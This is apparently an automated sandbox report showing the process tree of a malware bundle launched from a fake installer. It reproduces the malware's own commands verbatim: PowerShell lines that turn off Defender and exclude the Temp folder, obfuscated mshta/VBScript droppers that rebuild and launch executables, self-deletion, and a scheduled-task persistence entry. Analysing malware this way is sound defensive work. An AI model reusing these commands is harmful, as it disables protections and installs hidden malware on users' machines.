C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri05851d7f13.exeFri05851d7f13.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
- Modifies registry class
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding C317E265B190ECAB16B863EA0EA56366 C2⤵
- Loads dropped DLL
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 4CBAE5FD6F4C2227BDA39E23FE2197152⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding C297CB69DE54E691289CCC47D113EB87 E Global\MSI00002⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 96AB6753C787562BA9FD43883BA7018D C2⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\9AD.exeC:\Users\Admin\AppData\Local\Temp\9AD.exe1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
-
C:\Users\Admin\Desktop\setup_x86_x64_install.exe"C:\Users\Admin\Desktop\setup_x86_x64_install.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\7zS4D926C2D\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS4D926C2D\setup_install.exe"3⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri05cc28ce70b.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4D926C2D\Fri05cc28ce70b.exeFri05cc28ce70b.exe5⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbScRIPT: cLOse ( CreateoBJeCT( "WSCRipT.shell" ). Run( "CMd.exe /q /R coPY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS4D926C2D\Fri05cc28ce70b.exe"" EiV4.Exe &&START EIv4.Exe /pllbp0ygmDYA & if """" == """" for %j IN ( ""C:\Users\Admin\AppData\Local\Temp\7zS4D926C2D\Fri05cc28ce70b.exe"" ) do taskkill -f /im ""%~Nxj"" " , 0 , truE ) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /R coPY /Y "C:\Users\Admin\AppData\Local\Temp\7zS4D926C2D\Fri05cc28ce70b.exe" EiV4.Exe &&START EIv4.Exe /pllbp0ygmDYA & if "" == "" for %j IN ( "C:\Users\Admin\AppData\Local\Temp\7zS4D926C2D\Fri05cc28ce70b.exe" ) do taskkill -f /im "%~Nxj"7⤵
-
C:\Users\Admin\AppData\Local\Temp\EiV4.ExeEIv4.Exe /pllbp0ygmDYA8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbScRIPT: cLOse ( CreateoBJeCT( "WSCRipT.shell" ). Run( "CMd.exe /q /R coPY /Y ""C:\Users\Admin\AppData\Local\Temp\EiV4.Exe"" EiV4.Exe &&START EIv4.Exe /pllbp0ygmDYA & if ""/pllbp0ygmDYA "" == """" for %j IN ( ""C:\Users\Admin\AppData\Local\Temp\EiV4.Exe"" ) do taskkill -f /im ""%~Nxj"" " , 0 , truE ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /R coPY /Y "C:\Users\Admin\AppData\Local\Temp\EiV4.Exe" EiV4.Exe &&START EIv4.Exe /pllbp0ygmDYA & if "/pllbp0ygmDYA " == "" for %j IN ( "C:\Users\Admin\AppData\Local\Temp\EiV4.Exe" ) do taskkill -f /im "%~Nxj"10⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBscript: clOSe ( creAteOBJECT( "WSCrIPt.sHElL" ). rUn ( "cMD /Q /c EcHo fDuz%RanDOm%hWPV>BPZetK~.NZD & eCho | sEt /P = ""MZ"" > YAnI.V & COPy /Y /b YANI.V + L0YE_.MQ + V3DggE~.P + FAPqTQ.HJ + 51QbM.RF + BPZetK~.NZD W72F~U.S8_ & staRt msiexec /y .\W72F~U.S8_ " , 0 , tRuE ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /c EcHo fDuz%RanDOm%hWPV>BPZetK~.NZD & eCho | sEt /P = "MZ" > YAnI.V & COPy /Y /b YANI.V +L0YE_.MQ + V3DggE~.P + FAPqTQ.HJ +51QbM.RF + BPZetK~.NZD W72F~U.S8_ & staRt msiexec /y .\W72F~U.S8_10⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" eCho "11⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" sEt /P = "MZ" 1>YAnI.V"11⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec /y .\W72F~U.S8_11⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f /im "Fri05cc28ce70b.exe"8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri05851d7f13.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4D926C2D\Fri05851d7f13.exeFri05851d7f13.exe5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri05890d11cdb13f95e.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4D926C2D\Fri05890d11cdb13f95e.exeFri05890d11cdb13f95e.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe"C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe"7⤵
-
C:\ProgramData\7310693.exe"C:\ProgramData\7310693.exe"8⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵
-
C:\ProgramData\402651.exe"C:\ProgramData\402651.exe"8⤵
- Suspicious behavior: SetClipboardViewer
-
C:\ProgramData\8158136.exe"C:\ProgramData\8158136.exe"8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\ProgramData\6304138.exe"C:\ProgramData\6304138.exe"8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\ProgramData\8139404.exe"C:\ProgramData\8139404.exe"8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"7⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"7⤵
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Soft1WW02.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe" & del C:\ProgramData\*.dll & exit8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Soft1WW02.exe /f9⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\4.exe"C:\Users\Admin\AppData\Local\Temp\4.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"9⤵
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 300010⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\5.exe"C:\Users\Admin\AppData\Local\Temp\5.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"9⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in Windows directory
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 300010⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4608 -s 8048⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4608 -s 8368⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4608 -s 8808⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4608 -s 9528⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4608 -s 9568⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4608 -s 10288⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\8.exe"C:\Users\Admin\AppData\Local\Temp\8.exe"7⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 728 -s 15288⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"7⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=18⤵
- Adds Run key to start application
- Drops file in System32 directory
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--loGQqfG2tg"9⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x210,0x214,0x218,0x1ec,0x21c,0x7ffbf61edec0,0x7ffbf61eded0,0x7ffbf61edee010⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1668,9443368098378183569,18385762728902595541,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw11032_1696590275" --mojo-platform-channel-handle=1684 /prefetch:810⤵
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"7⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"9⤵
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi10⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"12⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CLosE ( cReAteobjEcT ( "wscRiPt.SheLl" ). RUn ( "C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE ) )11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC12⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "13⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"13⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"10⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit8⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'9⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit9⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'10⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"9⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri0541e16ce794d258f.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4D926C2D\Fri0541e16ce794d258f.exeFri0541e16ce794d258f.exe5⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri051e1e7444.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4D926C2D\Fri051e1e7444.exeFri051e1e7444.exe5⤵
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\VktemNy7YA93uXUwaQ8KJAtD.exe"C:\Users\Admin\Pictures\Adobe Films\VktemNy7YA93uXUwaQ8KJAtD.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\QaBmGGV3pkAOpCjx5G2E_y5y.exe"C:\Users\Admin\Pictures\Adobe Films\QaBmGGV3pkAOpCjx5G2E_y5y.exe"6⤵
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im QaBmGGV3pkAOpCjx5G2E_y5y.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\QaBmGGV3pkAOpCjx5G2E_y5y.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im QaBmGGV3pkAOpCjx5G2E_y5y.exe /f8⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\GGjpACtLUJMTNjAfC_TAotUf.exe"C:\Users\Admin\Pictures\Adobe Films\GGjpACtLUJMTNjAfC_TAotUf.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Documents\Kp7K4hYmaA0qVJBRYWFt8jwo.exe"C:\Users\Admin\Documents\Kp7K4hYmaA0qVJBRYWFt8jwo.exe"7⤵
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\fK5W_kW6U5l8cykfT7GuciEq.exe"C:\Users\Admin\Pictures\Adobe Films\fK5W_kW6U5l8cykfT7GuciEq.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\UUpB2DSBiUt_0103mTFXu8Hv.exe"C:\Users\Admin\Pictures\Adobe Films\UUpB2DSBiUt_0103mTFXu8Hv.exe"8⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe10⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\sz2TQ8YjpK678L5VWCATDVZ1.exe"C:\Users\Admin\Pictures\Adobe Films\sz2TQ8YjpK678L5VWCATDVZ1.exe"8⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Pictures\Adobe Films\eiM6G3e0ek_P6xBq4HGzTTYP.exe"C:\Users\Admin\Pictures\Adobe Films\eiM6G3e0ek_P6xBq4HGzTTYP.exe"8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\eiM6G3e0ek_P6xBq4HGzTTYP.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\eiM6G3e0ek_P6xBq4HGzTTYP.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\eiM6G3e0ek_P6xBq4HGzTTYP.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\eiM6G3e0ek_P6xBq4HGzTTYP.exe" ) do taskkill -f -iM "%~NxM"10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "eiM6G3e0ek_P6xBq4HGzTTYP.exe"11⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\w0RwBw4fB2OJZnOf5F_E5tfN.exe"C:\Users\Admin\Pictures\Adobe Films\w0RwBw4fB2OJZnOf5F_E5tfN.exe" /mixtwo8⤵
-
C:\Users\Admin\Pictures\Adobe Films\kHDO6M8CnGJRy3MRY_YYAy0j.exe"C:\Users\Admin\Pictures\Adobe Films\kHDO6M8CnGJRy3MRY_YYAy0j.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\sZWaytLCN3szARE5QbZkYy4L.exe"C:\Users\Admin\Pictures\Adobe Films\sZWaytLCN3szARE5QbZkYy4L.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\0oFsdzW12BkyexTrQkUYpJdU.exe"C:\Users\Admin\Pictures\Adobe Films\0oFsdzW12BkyexTrQkUYpJdU.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-6DS81.tmp\0oFsdzW12BkyexTrQkUYpJdU.tmp"C:\Users\Admin\AppData\Local\Temp\is-6DS81.tmp\0oFsdzW12BkyexTrQkUYpJdU.tmp" /SL5="$107AA,506127,422400,C:\Users\Admin\Pictures\Adobe Films\0oFsdzW12BkyexTrQkUYpJdU.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-6TA8H.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-6TA8H.tmp\DYbALA.exe" /S /UID=270910⤵
- Drops file in Drivers directory
-
C:\Users\Admin\AppData\Local\Temp\6a-0c4c7-91a-23a8b-0e7a461c50460\Hyxaexeraebi.exe"C:\Users\Admin\AppData\Local\Temp\6a-0c4c7-91a-23a8b-0e7a461c50460\Hyxaexeraebi.exe"11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1p0ftxug.fdv\GcleanerEU.exe /eufive & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\1p0ftxug.fdv\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\1p0ftxug.fdv\GcleanerEU.exe /eufive13⤵
-
